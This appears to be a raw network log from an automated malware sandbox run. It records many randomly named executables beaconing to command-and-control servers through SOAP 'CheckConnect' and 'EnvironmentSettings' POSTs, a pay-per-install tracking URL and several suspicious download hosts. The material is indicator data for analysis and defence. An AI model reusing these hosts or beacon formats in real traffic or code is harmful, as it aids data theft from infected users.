                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 185.204.109.146:54891
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:48 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=VPN&payoutcents=0.06&ver=5
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=NL&app=VPN&payoutcents=0.06&ver=5 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:52 GMT
                                                                                                                                                                                                                                          Referrer-Policy: origin
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=q3BA0luvD4GcVdfPYop2Acg5kqbqgUp7rHrEB2j8MvI; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://bestinternetstore.xyz/api.php
                                                                                                                                                                                                                                          2571189.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.35.173:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api.php HTTP/1.1
                                                                                                                                                                                                                                          Host: bestinternetstore.xyz
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:54 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DzT%2BEWiVTXaWPY6U52Oueb0Hf5ppHtKCvJ9mQ%2Fg7LhRGQLXYO0EfRX5%2BD0denb%2FtAqoE9JFYgo2DiSRZWup1elTIJl9EOtPzgINZ7TPOxwkrouZ658egL4htj9QEatobS%2F%2BVxTO4ffc%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328fbad47fa30-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://deyrolorme.xyz/
                                                                                                                                                                                                                                          7814738.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          212.224.105.106:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: deyrolorme.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:56 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://deyrolorme.xyz/
                                                                                                                                                                                                                                          7814738.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          212.224.105.106:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: deyrolorme.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:02 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.128:8207/
                                                                                                                                                                                                                                          owjN8oM_IR5b6pDPbdHuHoD6.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.128:8207
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.14.49.128:8207
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:12 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.128:8207/
                                                                                                                                                                                                                                          owjN8oM_IR5b6pDPbdHuHoD6.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.128:8207
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.14.49.128:8207
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4816
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:15 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.200:27625/
                                                                                                                                                                                                                                          DCbWUAjMYMWG4bi7Ib3ufG5p.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.200:27625
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.14.49.200:27625
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:57 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.200:27625/
                                                                                                                                                                                                                                          DCbWUAjMYMWG4bi7Ib3ufG5p.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.200:27625
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.14.49.200:27625
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4752
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:02 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.129.236.6:56220/
                                                                                                                                                                                                                                          lFBObrH6EHMpheoAYeJGm8Xi.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.129.236.6:56220
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.129.236.6:56220
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:00 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.129.236.6:56220/
                                                                                                                                                                                                                                          lFBObrH6EHMpheoAYeJGm8Xi.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.129.236.6:56220
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.129.236.6:56220
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:16 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://46.8.19.177:41228/
                                                                                                                                                                                                                                          iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          46.8.19.177:41228
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 46.8.19.177:41228
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 07:25:57 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://46.8.19.177:41228/
                                                                                                                                                                                                                                          iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          46.8.19.177:41228
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 46.8.19.177:41228
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4745
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 07:26:02 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          nLzXGkEyBusWmHhEh3MQ9MC_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://135.148.139.222:33569/
                                                                                                                                                                                                                                          N6jMMNuA0WyDfbEjCqUv0k7G.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          135.148.139.222:33569
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 135.148.139.222:33569
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:04 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://135.148.139.222:33569/
                                                                                                                                                                                                                                          N6jMMNuA0WyDfbEjCqUv0k7G.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          135.148.139.222:33569
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 135.148.139.222:33569
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4570
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:59 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          6200429.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://95.181.172.100:6795/
                                                                                                                                                                                                                                          cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.100:6795
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 95.181.172.100:6795
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:08 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://95.181.172.100:6795/
                                                                                                                                                                                                                                          cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.100:6795
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 95.181.172.100:6795
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4751
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:14 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          api.ip.sb.cdn.cloudflare.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.75.172
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=mixinte&user=Admin
                                                                                                                                                                                                                                          bz4ABxUMfc3Ls3uvejVLQEMi.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=mixinte&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: oD-DD-KY-NI-e-g
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:12 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          connectini.net
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          connectini.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          connectini.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.0.210.44
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          31PX_ym4OSr3ASnyn_2pd3hh.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:13 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DVSeolx2XqPV%2BVUSk8lqEOtJaps3Nd6AewI%2B9fQnCCdHjkb2fD28ukutslRdg9SdPzPajU1JxN7hRVzb%2Fw%2F8gna%2FZKMklB2mRhedkH%2F1kLA6pf1Q0Rjqd80pJw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823296f6ff2fa84-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://iryarahara.xyz/
                                                                                                                                                                                                                                          HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          77.246.145.4:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: iryarahara.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
